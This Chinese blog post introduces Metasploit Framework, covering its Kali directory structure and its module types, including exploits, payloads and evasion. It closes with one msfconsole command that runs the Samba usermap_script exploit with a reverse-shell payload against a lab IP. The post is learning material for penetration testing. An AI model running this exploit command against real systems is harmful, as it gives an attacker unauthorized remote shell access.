前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MSF学习(一)

MSF学习(一)

作者头像
cultureSun
发布2023-07-08 16:08:34
2970
发布2023-07-08 16:08:34
举报
文章被收录于专栏:cultureSun学安全

简介

msf全称Metasploit Framework,是一款功能强大的开源渗透测试工具,它提供了丰富的漏洞利用模块、扫描工具、Payload生成器和框架等功能。MSF最初由HD Moore于2003年创建,现在由Rapid7维护和发展。 因为msf是一个框架,所以可以根据自己的需求进行功能开发。

本学习基本来自官网教程----https://www.offsec.com/metasploit-unleashed/filesystem-and-libraries/。 但是官网是英语,学习还是比较费劲的(英语lower的我)。

详解

msf体系图

msf在kali目录

主目录在\usr\share\metasploit-framework

  • data目录包含Metasploit用于存储某些漏洞利用、单词列表、图像等所需的二进制文件的可编辑文件
  • documentation目录包含框架的可用文档
  • lib目录包含框架代码库的核心代码
  • modules目录中,您可以找到用于漏洞利用的实际MSF模块、辅助模块和后期模块、有效载荷、编码器和nop生成器。也是最主要的模块,是接下来重点学习的部分
  • plugins目录存储着msf的插件
  • scripts目录存储着脚本文件
  • tools目录中有各种有用的命令行实用程序

modules模块

modules既上文提到的modules目录。包含了很多模块,这些模块是msf最主要最常用的功能,基本上包含了整个渗透流程所需工具。 一共有七个模块,分别是ExploitsAuxiliaryPayloadsEncodersNopsPostEvasion

  • Exploits,包含了很多漏洞的exp
  • Auxiliary,是个辅助模块,主要用来信息收集,包括端口扫描仪、模糊器、嗅探器等
  • Payloads,包含了很多漏洞的payload
  • Encoders,编码模块,可以用来大多数的编码解码
  • Nops,空操作模块,用于填充数据,以维持有效负载结构的完整性
  • Post,后渗透模块,用于在目标系统上执行各种后渗透操作,如收集敏感信息、提权、横向移动等
  • Evasion,免杀模块,用于生成一些免杀木马

msfcli

msfcli是早期的msf命令行接口,可以通过此接口来使用一些msf功能模块。 在2015-06-18后被弃用,可以使用msfconsole -x 来替代,例如:

代码语言:javascript
复制
root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 详解
    • msf体系图
      • msf在kali目录
        • modules模块
          • msfcli
          相关产品与服务
          对象存储
          对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档